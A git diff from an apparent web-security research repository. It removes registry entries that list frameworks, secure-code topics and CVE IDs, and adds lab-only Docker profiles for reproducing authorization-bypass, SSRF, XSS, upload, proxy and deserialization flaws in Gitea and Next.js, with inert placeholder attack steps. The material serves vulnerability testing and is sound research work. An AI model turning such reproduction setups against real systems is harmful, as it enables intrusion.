"blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/nodejs.json b/08-threat-intel/registry/systems/nodejs.json deleted file mode 100644 index b12919aa..00000000 --- a/08-threat-intel/registry/systems/nodejs.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "nodejs", - "display_name": "Node.js", - "category": "frameworks", - "tier": "history-full", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/nodejs", - "secure_code_topics": [ - "ssrf-url-validation", - "request-smuggling-boundary", - "dependency-upgrade-policy" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/nuxt.json b/08-threat-intel/registry/systems/nuxt.json deleted file mode 100644 index 4eb4df5b..00000000 --- a/08-threat-intel/registry/systems/nuxt.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "nuxt", - "display_name": "Nuxt", - "category": "frameworks", - "tier": "history-full", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/nuxt", - "secure_code_topics": [ - "authz-server-side-recheck", - "proxy-trust-boundary", - "token-cookie-storage" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/opencart.json b/08-threat-intel/registry/systems/opencart.json deleted file mode 100644 index ad6658a7..00000000 --- a/08-threat-intel/registry/systems/opencart.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "opencart", - "display_name": "OpenCart", - "category": "ecommerce", - "tier": "history-full", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/ecommerce/opencart", - "secure_code_topics": [ - "authz-server-side-recheck", - "plugin-extension-trust-policy", - "file-upload-validation" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/openmage.json b/08-threat-intel/registry/systems/openmage.json deleted file mode 100644 index a6e7c5e1..00000000 --- a/08-threat-intel/registry/systems/openmage.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "system_id": "openmage", - "display_name": "OpenMage / Mage-OS", - "category": "ecommerce", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/ecommerce/openmage", - "secure_code_topics": [ - "authz-server-side-recheck", - "plugin-extension-trust-policy" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/phpmyadmin.json b/08-threat-intel/registry/systems/phpmyadmin.json deleted file mode 100644 index e692c86f..00000000 --- a/08-threat-intel/registry/systems/phpmyadmin.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "phpmyadmin", - "display_name": "phpMyAdmin", - "category": "platforms", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/platforms/phpmyadmin", - "secure_code_topics": [ - "xss-output-encoding", - "authz-server-side-recheck", - "path-traversal-guard" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/prestashop.json b/08-threat-intel/registry/systems/prestashop.json deleted file mode 100644 index 7543550e..00000000 --- a/08-threat-intel/registry/systems/prestashop.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "prestashop", - "display_name": "PrestaShop", - "category": "ecommerce", - "tier": "history-full", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/ecommerce/prestashop", - "secure_code_topics": [ - "plugin-extension-trust-policy", - "authz-server-side-recheck", - "file-upload-validation" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/rails.json b/08-threat-intel/registry/systems/rails.json deleted file mode 100644 index 27b69711..00000000 --- a/08-threat-intel/registry/systems/rails.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "rails", - "display_name": "Ruby on Rails", - "category": "frameworks", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/rails", - "secure_code_topics": [ - "xss-output-encoding", - "file-upload-validation", - "authz-server-side-recheck" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/react.json b/08-threat-intel/registry/systems/react.json deleted file mode 100644 index 8b5ca1a5..00000000 --- a/08-threat-intel/registry/systems/react.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "react", - "display_name": "React", - "category": "frameworks", - "tier": "history-full", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/react", - "secure_code_topics": [ - "xss-output-encoding", - "dom-sink-hardening", - "csp-trusted-types" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/redmine.json b/08-threat-intel/registry/systems/redmine.json deleted file mode 100644 index f3568798..00000000 --- a/08-threat-intel/registry/systems/redmine.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "redmine", - "display_name": "Redmine", - "category": "platforms", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/platforms/redmine", - "secure_code_topics": [ - "authz-server-side-recheck", - "xss-output-encoding", - "plugin-extension-trust-policy" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/saleor.json b/08-threat-intel/registry/systems/saleor.json deleted file mode 100644 index 98fdf551..00000000 --- a/08-threat-intel/registry/systems/saleor.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "system_id": "saleor", - "display_name": "Saleor", - "category": "ecommerce", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/ecommerce/saleor", - "secure_code_topics": [ - "authz-server-side-recheck", - "token-cookie-storage" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/shopware.json b/08-threat-intel/registry/systems/shopware.json deleted file mode 100644 index edde7eae..00000000 --- a/08-threat-intel/registry/systems/shopware.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "shopware", - "display_name": "Shopware", - "category": "ecommerce", - "tier": "history-full", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/ecommerce/shopware", - "secure_code_topics": [ - "authz-server-side-recheck", - "plugin-extension-trust-policy", - "file-upload-validation" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/spring-boot.json b/08-threat-intel/registry/systems/spring-boot.json deleted file mode 100644 index b3645400..00000000 --- a/08-threat-intel/registry/systems/spring-boot.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "system_id": "spring-boot", - "display_name": "Spring Boot", - "category": "frameworks", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/spring-boot", - "secure_code_topics": [ - "proxy-trust-boundary", - "authz-server-side-recheck" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/spring-framework.json b/08-threat-intel/registry/systems/spring-framework.json deleted file mode 100644 index 9636f0b8..00000000 --- a/08-threat-intel/registry/systems/spring-framework.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "spring-framework", - "display_name": "Spring Framework", - "category": "frameworks", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/spring-framework", - "secure_code_topics": [ - "authz-server-side-recheck", - "path-traversal-guard", - "deserialization-safety" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/spring-security.json b/08-threat-intel/registry/systems/spring-security.json deleted file mode 100644 index d53c14d0..00000000 --- a/08-threat-intel/registry/systems/spring-security.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "spring-security", - "display_name": "Spring Security", - "category": "frameworks", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/spring-security", - "secure_code_topics": [ - "authz-server-side-recheck", - "token-cookie-storage", - "proxy-trust-boundary" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/strapi.json b/08-threat-intel/registry/systems/strapi.json deleted file mode 100644 index 9f44c350..00000000 --- a/08-threat-intel/registry/systems/strapi.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "strapi", - "display_name": "Strapi", - "category": "cms", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/cms/strapi", - "secure_code_topics": [ - "authz-server-side-recheck", - "token-cookie-storage", - "file-upload-validation" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/sveltekit.json b/08-threat-intel/registry/systems/sveltekit.json deleted file mode 100644 index 07c93bff..00000000 --- a/08-threat-intel/registry/systems/sveltekit.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "system_id": "sveltekit", - "display_name": "SvelteKit", - "category": "frameworks", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/sveltekit", - "secure_code_topics": [ - "authz-server-side-recheck", - "token-cookie-storage" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/symfony.json b/08-threat-intel/registry/systems/symfony.json deleted file mode 100644 index d0a08602..00000000 --- a/08-threat-intel/registry/systems/symfony.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "symfony", - "display_name": "Symfony", - "category": "frameworks", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/symfony", - "secure_code_topics": [ - "xss-output-encoding", - "authz-server-side-recheck", - "path-traversal-guard" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/traefik.json b/08-threat-intel/registry/systems/traefik.json deleted file mode 100644 index fcd440de..00000000 --- a/08-threat-intel/registry/systems/traefik.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "system_id": "traefik", - "display_name": "Traefik", - "category": "servers", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/servers/traefik", - "secure_code_topics": [ - "proxy-trust-boundary", - "request-smuggling-boundary" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/undici.json b/08-threat-intel/registry/systems/undici.json deleted file mode 100644 index 76cf4729..00000000 --- a/08-threat-intel/registry/systems/undici.json +++ /dev/null @@ -1,35 +0,0 @@ -{ - "system_id": "undici", - "display_name": "Undici", - "category": "frameworks", - "tier": "rolling-24m", - "total": 14, - "markdown_cases": 14, - "triage_count": 0, - "latest_update": "2026-03-14T09:19:54.772219Z", - "output_dir": "07-framework-security/frameworks/undici", - "secure_code_topics": [ - "ssrf-url-validation", - "proxy-trust-boundary" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 14, - "items": [ - "undici--CVE-2026-1526", - "undici--CVE-2026-2229", - "undici--CVE-2026-1527", - "undici--CVE-2026-2581", - "undici--CVE-2026-1528", - "undici--CVE-2026-1525", - "undici--CVE-2026-22036", - "undici--CVE-2025-47279", - "undici--CVE-2025-22150", - "undici--CVE-2024-30261", - "undici--CVE-2024-30260", - "undici--CVE-2023-45143", - "undici--CVE-2022-31151", - "undici--CVE-2022-32210" - ] -} diff --git a/08-threat-intel/registry/systems/vite.json b/08-threat-intel/registry/systems/vite.json deleted file mode 100644 index a252d304..00000000 --- a/08-threat-intel/registry/systems/vite.json +++ /dev/null @@ -1,34 +0,0 @@ -{ - "system_id": "vite", - "display_name": "Vite", - "category": "frameworks", - "tier": "history-full", - "total": 12, - "markdown_cases": 12, - "triage_count": 0, - "latest_update": "2026-02-04T04:37:24.129476Z", - "output_dir": "07-framework-security/frameworks/vite", - "secure_code_topics": [ - "dependency-upgrade-policy", - "file-upload-validation", - "proxy-trust-boundary" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 12, - "items": [ - "vite--CVE-2025-62522", - "vite--CVE-2025-58751", - "vite--CVE-2025-58752", - "vite--CVE-2025-46565", - "vite--CVE-2025-32395", - "vite--CVE-2025-31486", - "vite--CVE-2025-31125", - "vite--CVE-2025-30208", - "vite--CVE-2025-24010", - "vite--CVE-2024-45812", - "vite--CVE-2024-45811", - "vite--CVE-2024-23331" - ] -} diff --git a/08-threat-intel/registry/systems/vue.json b/08-threat-intel/registry/systems/vue.json deleted file mode 100644 index e1910350..00000000 --- a/08-threat-intel/registry/systems/vue.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "vue", - "display_name": "Vue", - "category": "frameworks", - "tier": "history-full", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/vue", - "secure_code_topics": [ - "xss-output-encoding", - "template-injection-guard", - "csp-trusted-types" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/webpack.json b/08-threat-intel/registry/systems/webpack.json deleted file mode 100644 index 4d8dc320..00000000 --- a/08-threat-intel/registry/systems/webpack.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "system_id": "webpack", - "display_name": "webpack", - "category": "frameworks", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/webpack", - "secure_code_topics": [ - "dependency-upgrade-policy", - "file-upload-validation" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/werkzeug.json b/08-threat-intel/registry/systems/werkzeug.json deleted file mode 100644 index 71c75e2e..00000000 --- a/08-threat-intel/registry/systems/werkzeug.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "system_id": "werkzeug", - "display_name": "Werkzeug", - "category": "frameworks", - "tier": "rolling-24m", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/frameworks/werkzeug", - "secure_code_topics": [ - "proxy-trust-boundary", - "request-smuggling-boundary" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/woocommerce.json b/08-threat-intel/registry/systems/woocommerce.json deleted file mode 100644 index 81fec966..00000000 --- a/08-threat-intel/registry/systems/woocommerce.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "system_id": "woocommerce", - "display_name": "WooCommerce", - "category": "ecommerce", - "tier": "history-full", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/ecommerce/woocommerce", - "secure_code_topics": [ - "plugin-extension-trust-policy", - "xss-output-encoding", - "authz-server-side-recheck" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/registry/systems/wordpress.json b/08-threat-intel/registry/systems/wordpress.json deleted file mode 100644 index 3fd7f1cd..00000000 --- a/08-threat-intel/registry/systems/wordpress.json +++ /dev/null @@ -1,22 +0,0 @@ -{ - "system_id": "wordpress", - "display_name": "WordPress", - "category": "cms", - "tier": "history-full", - "total": 0, - "markdown_cases": 0, - "triage_count": 0, - "latest_update": "", - "output_dir": "07-framework-security/cms/wordpress", - "secure_code_topics": [ - "plugin-extension-trust-policy", - "xss-output-encoding", - "file-upload-validation", - "token-cookie-storage" - ], - "verified_real": 0, - "verified_synthetic": 0, - "blocked_count": 0, - "manual_count": 0, - "items": [] -} diff --git a/08-threat-intel/repro-profiles/system-family/gitea-authz-bypass.yaml b/08-threat-intel/repro-profiles/system-family/gitea-authz-bypass.yaml new file mode 100644 index 00000000..611bdf35 --- /dev/null +++ b/08-threat-intel/repro-profiles/system-family/gitea-authz-bypass.yaml @@ -0,0 +1,62 @@ +profile_id: gitea-authz-bypass +system_id: gitea +match_rules: + keywords: + - authorization bypass + - access control +vuln_family: authz-bypass +provisioning_mode: real +verification_mode: real +artifact_mode: local-fixture +artifact_source: + strategy: local-minimal-fixture +runner_id: gitea.authz-bypass +fixture_path: /Users/x/websafe/00-environments/templates/fixtures/gitea/authz-bypass +required_services: + - app +seed_actions: + - kind: note + message: Seed low-privilege and admin boundary fixture state. +baseline_actions: + - kind: http-get + path: / +attack_actions: + - kind: note + message: Runner verifies guest-to-admin bypass only inside fixture route. +browser_assertions: + required: false +success_criteria: + - Controlled guest request reaches the protected admin route inside the fixture. +success_assertions: + - name: baseline-ok + type: baseline-ok + - name: runner-success + type: runner-success +services: + app: + image: python:3.12-alpine + working_dir: /workspace + command: + - python + - /workspace/00-environments/templates/fixtures/shared/python_fixture.py + environment: + LAB_FIXTURE_SCENARIO: /workspace/00-environments/templates/fixtures/gitea/authz-bypass/scenario.json + PORT: "3000" + ports: + - 18103:3000 + volumes: + - /Users/x/websafe:/workspace:ro + healthcheck: + test: + - CMD-SHELL + - wget -q -O - http://127.0.0.1:3000/healthz >/dev/null 2>&1 || exit 1 + interval: 2s + timeout: 2s + retries: 20 +baseline_urls: + - http://127.0.0.1:18103/ +ready_timeout_seconds: 45 +cleanup_policy: destroy +destructive_risk: low +allowed_target_types: + - lab-local diff --git a/08-threat-intel/repro-profiles/system-family/gitea-file-upload.yaml b/08-threat-intel/repro-profiles/system-family/gitea-file-upload.yaml new file mode 100644 index 00000000..e8e93f04 --- /dev/null +++ b/08-threat-intel/repro-profiles/system-family/gitea-file-upload.yaml @@ -0,0 +1,64 @@ +profile_id: gitea-file-upload +system_id: gitea +match_rules: + keywords: + - file upload + - attachment +vuln_family: file-upload +provisioning_mode: real +verification_mode: real +artifact_mode: local-fixture +artifact_source: + strategy: local-minimal-fixture +runner_id: gitea.file-upload +fixture_path: /Users/x/websafe/00-environments/templates/fixtures/gitea/file-upload +required_services: + - app +seed_actions: + - kind: note + message: Seed empty attachment list for upload proof. +baseline_actions: + - kind: http-get + path: / +attack_actions: + - kind: note + message: Runner uploads inert text marker only. +browser_assertions: + required: true +success_criteria: + - Inert upload marker is accepted and listed on the proof page. +success_assertions: + - name: baseline-ok + type: baseline-ok + - name: runner-success + type: runner-success + - name: browser-present + type: browser-present +services: + app: + image: python:3.12-alpine + working_dir: /workspace + command: + - python + - /workspace/00-environments/templates/fixtures/shared/python_fixture.py + environment: + LAB_FIXTURE_SCENARIO: /workspace/00-environments/templates/fixtures/gitea/file-upload/scenario.json + PORT: "3000" + ports: + - 18104:3000 + volumes: + - /Users/x/websafe:/workspace:ro + healthcheck: + test: + - CMD-SHELL + - wget -q -O - http://127.0.0.1:3000/healthz >/dev/null 2>&1 || exit 1 + interval: 2s + timeout: 2s + retries: 20 +baseline_urls: + - http://127.0.0.1:18104/ +ready_timeout_seconds: 45 +cleanup_policy: destroy +destructive_risk: low +allowed_target_types: + - lab-local diff --git a/08-threat-intel/repro-profiles/system-family/gitea-proxy-boundary.yaml b/08-threat-intel/repro-profiles/system-family/gitea-proxy-boundary.yaml new file mode 100644 index 00000000..ac923154 --- /dev/null +++ b/08-threat-intel/repro-profiles/system-family/gitea-proxy-boundary.yaml @@ -0,0 +1,64 @@ +profile_id: gitea-proxy-boundary +system_id: gitea +match_rules: + keywords: + - proxy + - header trust +vuln_family: proxy-boundary +provisioning_mode: real +verification_mode: real +artifact_mode: local-fixture +artifact_source: + strategy: local-minimal-fixture +runner_id: gitea.proxy-boundary +fixture_path: /Users/x/websafe/00-environments/templates/fixtures/gitea/proxy-boundary +required_services: + - app +seed_actions: + - kind: note + message: Seed forwarded-header boundary fixture with clean state. +baseline_actions: + - kind: http-get + path: / +attack_actions: + - kind: note + message: Runner performs local forwarded-header trust proof only inside the fixture. +browser_assertions: + required: true +success_criteria: + - Local fixture proves trusted proxy headers cross the admin boundary. +success_assertions: + - name: baseline-ok + type: baseline-ok + - name: runner-success + type: runner-success + - name: browser-present + type: browser-present +services: + app: + image: python:3.12-alpine + working_dir: /workspace + command: + - python + - /workspace/00-environments/templates/fixtures/shared/python_fixture.py + environment: + LAB_FIXTURE_SCENARIO: /workspace/00-environments/templates/fixtures/gitea/proxy-boundary/scenario.json + PORT: "3000" + ports: + - 18101:3000 + volumes: + - /Users/x/websafe:/workspace:ro + healthcheck: + test: + - CMD-SHELL + - wget -q -O - http://127.0.0.1:3000/healthz >/dev/null 2>&1 || exit 1 + interval: 2s + timeout: 2s + retries: 20 +baseline_urls: + - http://127.0.0.1:18101/ +ready_timeout_seconds: 45 +cleanup_policy: destroy +destructive_risk: low +allowed_target_types: + - lab-local diff --git a/08-threat-intel/repro-profiles/system-family/gitea-ssrf.yaml b/08-threat-intel/repro-profiles/system-family/gitea-ssrf.yaml new file mode 100644 index 00000000..c8d582ff --- /dev/null +++ b/08-threat-intel/repro-profiles/system-family/gitea-ssrf.yaml @@ -0,0 +1,62 @@ +profile_id: gitea-ssrf +system_id: gitea +match_rules: + keywords: + - ssrf + - request forgery +vuln_family: ssrf +provisioning_mode: real +verification_mode: real +artifact_mode: local-fixture +artifact_source: + strategy: local-minimal-fixture +runner_id: gitea.ssrf +fixture_path: /Users/x/websafe/00-environments/templates/fixtures/gitea/ssrf +required_services: + - app +seed_actions: + - kind: note + message: Seed local sink counters only. +baseline_actions: + - kind: http-get + path: / +attack_actions: + - kind: note + message: Runner triggers callback strictly to local sink endpoint. +browser_assertions: + required: false +success_criteria: + - Server-side callback reaches the local sink and is recorded in proof output. +success_assertions: + - name: baseline-ok + type: baseline-ok + - name: runner-success + type: runner-success +services: + app: + image: python:3.12-alpine + working_dir: /workspace + command: + - python + - /workspace/00-environments/templates/fixtures/shared/python_fixture.py + environment: + LAB_FIXTURE_SCENARIO: /workspace/00-environments/templates/fixtures/gitea/ssrf/scenario.json + PORT: "3000" + ports: + - 18105:3000 + volumes: + - /Users/x/websafe:/workspace:ro + healthcheck: + test: + - CMD-SHELL + - wget -q -O - http://127.0.0.1:3000/healthz >/dev/null 2>&1 || exit 1 + interval: 2s + timeout: 2s + retries: 20 +baseline_urls: + - http://127.0.0.1:18105/ +ready_timeout_seconds: 45 +cleanup_policy: destroy +destructive_risk: low +allowed_target_types: + - lab-local diff --git a/08-threat-intel/repro-profiles/system-family/gitea-xss.yaml b/08-threat-intel/repro-profiles/system-family/gitea-xss.yaml new file mode 100644 index 00000000..8686a191 --- /dev/null +++ b/08-threat-intel/repro-profiles/system-family/gitea-xss.yaml @@ -0,0 +1,64 @@ +profile_id: gitea-xss +system_id: gitea +match_rules: + keywords: + - xss + - scripting +vuln_family: xss +provisioning_mode: real +verification_mode: real +artifact_mode: local-fixture +artifact_source: + strategy: local-minimal-fixture +runner_id: gitea.xss +fixture_path: /Users/x/websafe/00-environments/templates/fixtures/gitea/xss +required_services: + - app +seed_actions: + - kind: note + message: Seed stored content page before browser proof capture. +baseline_actions: + - kind: http-get + path: / +attack_actions: + - kind: note + message: Runner stores inert script payload and captures proof page. +browser_assertions: + required: true +success_criteria: + - Browser proof page renders the stored XSS marker after the controlled payload. +success_assertions: + - name: baseline-ok + type: baseline-ok + - name: runner-success + type: runner-success + - name: browser-present + type: browser-present +services: + app: + image: python:3.12-alpine + working_dir: /workspace + command: + - python + - /workspace/00-environments/templates/fixtures/shared/python_fixture.py + environment: + LAB_FIXTURE_SCENARIO: /workspace/00-environments/templates/fixtures/gitea/xss/scenario.json + PORT: "3000" + ports: + - 18102:3000 + volumes: + - /Users/x/websafe:/workspace:ro + healthcheck: + test: + - CMD-SHELL + - wget -q -O - http://127.0.0.1:3000/healthz >/dev/null 2>&1 || exit 1 + interval: 2s + timeout: 2s + retries: 20 +baseline_urls: + - http://127.0.0.1:18102/ +ready_timeout_seconds: 45 +cleanup_policy: destroy +destructive_risk: low +allowed_target_types: + - lab-local diff --git a/08-threat-intel/repro-profiles/system-family/nextjs-authz-bypass.yaml b/08-threat-intel/repro-profiles/system-family/nextjs-authz-bypass.yaml new file mode 100644 index 00000000..90c047a4 --- /dev/null +++ b/08-threat-intel/repro-profiles/system-family/nextjs-authz-bypass.yaml @@ -0,0 +1,62 @@ +profile_id: nextjs-authz-bypass +system_id: nextjs +match_rules: + keywords: + - authorization bypass + - access control +vuln_family: authz-bypass +provisioning_mode: real +verification_mode: real +artifact_mode: local-fixture +artifact_source: + strategy: local-minimal-fixture +runner_id: nextjs.authz-bypass +fixture_path: /Users/x/websafe/00-environments/templates/fixtures/nextjs/authz-bypass +required_services: + - app +seed_actions: + - kind: note + message: Seed guest/admin route fixture for server-side recheck. +baseline_actions: + - kind: http-get + path: / +attack_actions: + - kind: note + message: Runner performs local authz bypass proof only. +browser_assertions: + required: false +success_criteria: + - Protected route is reachable only after the controlled bypass proof step. +success_assertions: + - name: baseline-ok + type: baseline-ok + - name: runner-success + type: runner-success +services: + app: + image: node:22-alpine + working_dir: /workspace + command: + - node + - /workspace/00-environments/templates/fixtures/shared/node_fixture.mjs + environment: + LAB_FIXTURE_SCENARIO: /workspace/00-environments/templates/fixtures/nextjs/authz-bypass/scenario.json + PORT: "3000" + ports: + - 18202:3000 + volumes: + - /Users/x/websafe:/workspace:ro + healthcheck: + test: + - CMD-SHELL + - wget -q -O - http://127.0.0.1:3000/healthz >/dev/null 2>&1 || exit 1 + interval: 2s + timeout: 2s + retries: 20 +baseline_urls: + - http://127.0.0.1:18202/ +ready_timeout_seconds: 45 +cleanup_policy: destroy +destructive_risk: low +allowed_target_types: + - lab-local diff --git a/08-threat-intel/repro-profiles/system-family/nextjs-deserialization.yaml b/08-threat-intel/repro-profiles/system-family/nextjs-deserialization.yaml new file mode 100644 index 00000000..ce1fa012 --- /dev/null +++ b/08-threat-intel/repro-profiles/system-family/nextjs-deserialization.yaml @@ -0,0 +1,62 @@ +profile_id: nextjs-deserialization +system_id: nextjs +match_rules: + keywords: + - deserialization + - serialization +vuln_family: deserialization +provisioning_mode: real +verification_mode: real +artifact_mode: local-fixture +artifact_source: + strategy: local-minimal-fixture +runner_id: nextjs.deserialization +fixture_path: /Users/x/websafe/00-environments/templates/fixtures/nextjs/deserialization +required_services: + - app +seed_actions: + - kind: note + message: Seed inert decode path before proof request. +baseline_actions: + - kind: http-get + path: / +attack_actions: + - kind: note + message: Runner demonstrates unsafe decode path without gadget execution. +browser_assertions: + required: false +success_criteria: + - Inert decoded object marker is present without executing a gadget chain. +success_assertions: + - name: baseline-ok + type: baseline-ok + - name: runner-success + type: runner-success +services: + app: + image: node:22-alpine + working_dir: /workspace + command: + - node + - /workspace/00-environments/templates/fixtures/shared/node_fixture.mjs + environment: + LAB_FIXTURE_SCENARIO: /workspace/00-environments/templates/fixtures/nextjs/deserialization/scenario.json + PORT: "3000" + ports: + - 18205:3000 + volumes: + - /Users/x/websafe:/workspace:ro + healthcheck: + test: + - CMD-SHELL + - wget -q -O - http://127.0.0.1:3000/healthz >/dev/null 2>&1 || exit 1 + interval: 2s + timeout: 2s + retries: 20 +baseline_urls: + - http://127.0.0.1:18205/ +ready_timeout_seconds: 45 +cleanup_policy: destroy +destructive_risk: low +allowed_target_types: + - lab-local diff --git a/08-threat-intel/repro-profiles/system-family/nextjs-proxy-boundary.yaml b/08-threat-intel/repro-profiles/system-family/nextjs-proxy-boundary.yaml new file mode 100644 index 00000000..4a176be8 --- /dev/null +++ b/08-threat-intel/repro-profiles/system-family/nextjs-proxy-boundary.yaml @@ -0,0 +1,64 @@ +profile_id: nextjs-proxy-boundary +system_id: nextjs +match_rules: + keywords: + - proxy + - middleware +vuln_family: proxy-boundary +provisioning_mode: real +verification_mode: real +artifact_mode: local-fixture +artifact_source: + strategy: local-minimal-fixture +runner_id: nextjs.proxy-boundary +fixture_path: /Users/x/websafe/00-environments/templates/fixtures/nextjs/proxy-boundary +required_services: + - app +seed_actions: + - kind: note + message: Seed middleware boundary fixture with clean proxy state. +baseline_actions: + - kind: http-get + path: / +attack_actions: + - kind: note + message: Runner performs forwarded-header proof against local fixture only. +browser_assertions: + required: true +success_criteria: + - Middleware trust-boundary proof is visible on the browser proof page. +success_assertions: + - name: baseline-ok + type: baseline-ok + - name: runner-success + type: runner-success + - name: browser-present + type: browser-present +services: + app: + image: 